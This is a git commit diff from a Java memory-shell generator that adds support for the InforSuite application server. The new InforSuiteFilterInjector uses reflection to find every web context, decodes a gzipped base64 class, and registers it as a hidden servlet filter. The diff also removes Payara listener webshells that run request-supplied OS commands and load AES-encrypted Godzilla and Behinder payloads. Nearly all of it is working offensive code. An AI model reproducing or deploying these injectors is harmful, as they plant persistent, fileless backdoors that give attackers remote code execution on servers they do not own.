feat: support inforsuite shell generate

This commit is contained in:
ReaJason
2024-12-24 02:26:30 +08:00
parent b0e2e7469f
commit 9bd893f087
10 changed files with 279 additions and 387 deletions
@@ -0,0 +1,63 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.inforsuite.injector.InforSuiteFilterInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class InforSuiteShell extends AbstractShell {
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, InforSuiteFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, InforSuiteFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
Constants.JAKARTA_FILTER, Pair.of(BehinderFilter.class, InforSuiteFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
);
}
}
@@ -1,10 +1,9 @@
package com.reajason.javaweb.memshell; package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
import com.reajason.javaweb.memshell.payara.behinder.BehinderListener; import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
import com.reajason.javaweb.memshell.payara.command.CommandListener; import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.payara.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector; import com.reajason.javaweb.memshell.payara.injector.PayaraFilterInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector; import com.reajason.javaweb.memshell.payara.injector.PayaraListenerInjector;
import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector; import com.reajason.javaweb.memshell.payara.injector.PayaraValveInjector;
@@ -16,7 +15,6 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve; import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
import java.util.Map; import java.util.Map;
/** /**
@@ -79,6 +79,11 @@ public enum Server {
* 金蝶天燕中间件 * 金蝶天燕中间件
*/ */
Apusic(null), Apusic(null),
/**
* 中创中间件
*/
InforSuite(new InforSuiteShell()),
; ;
private final AbstractShell shell; private final AbstractShell shell;
@@ -0,0 +1,207 @@
package com.reajason.javaweb.memshell.inforsuite.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class InforSuiteFilterInjector {
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
static {
new InforSuiteFilterInjector();
}
public InforSuiteFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) {
contexts.add(context);
}
}
}
}
}
return contexts;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
@SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception {
String filterName = getClassName();
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
log.warning("filter already exists");
return;
}
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = null;
try {
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
} catch (Exception e) {
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
}
filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully");
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}
@@ -1,125 +0,0 @@
package com.reajason.javaweb.memshell.payara.behinder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public BehinderListener() {
}
public BehinderListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = ((HttpServletRequest) request).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
}
} catch (Exception ignored) {
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
try {
response = (HttpServletResponse) getFieldValue(request, "response");
} catch (Exception ee) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
}
}
return response;
}
}
@@ -1,78 +0,0 @@
package com.reajason.javaweb.memshell.payara.command;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public CommandListener() {
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
try {
response = (HttpServletResponse) getFieldValue(request, "response");
} catch (Exception ee) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
}
}
return response;
}
}
@@ -1,152 +0,0 @@
package com.reajason.javaweb.memshell.payara.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaListener() {
}
public GodzillaListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute(
"payload",
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
try {
response = (HttpServletResponse) getFieldValue(request, "response");
} catch (Exception ee) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response");
}
}
return response;
}
}
@@ -45,7 +45,7 @@ public class PayaraValveInjector {
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Object context = getFieldValue(getFieldValue(thread, "target"), "this$0"); Object context = getFieldValue(getFieldValue(thread, "target"), "this$0");
if (context != null) { if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
contexts.add(context); contexts.add(context);
} }
} }
@@ -1,13 +0,0 @@
package com.reajason.javaweb.vul.springboot2;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class VulSpringboot2ApplicationTests {
@Test
void contextLoads() {
}
}
@@ -1,13 +0,0 @@
package com.reajason.javaweb.vul.springboot3;
import org.junit.jupiter.api.Test;
import org.springframework.boot.test.context.SpringBootTest;
@SpringBootTest
class VulSpringboot3ApplicationTests {
@Test
void contextLoads() {
}
}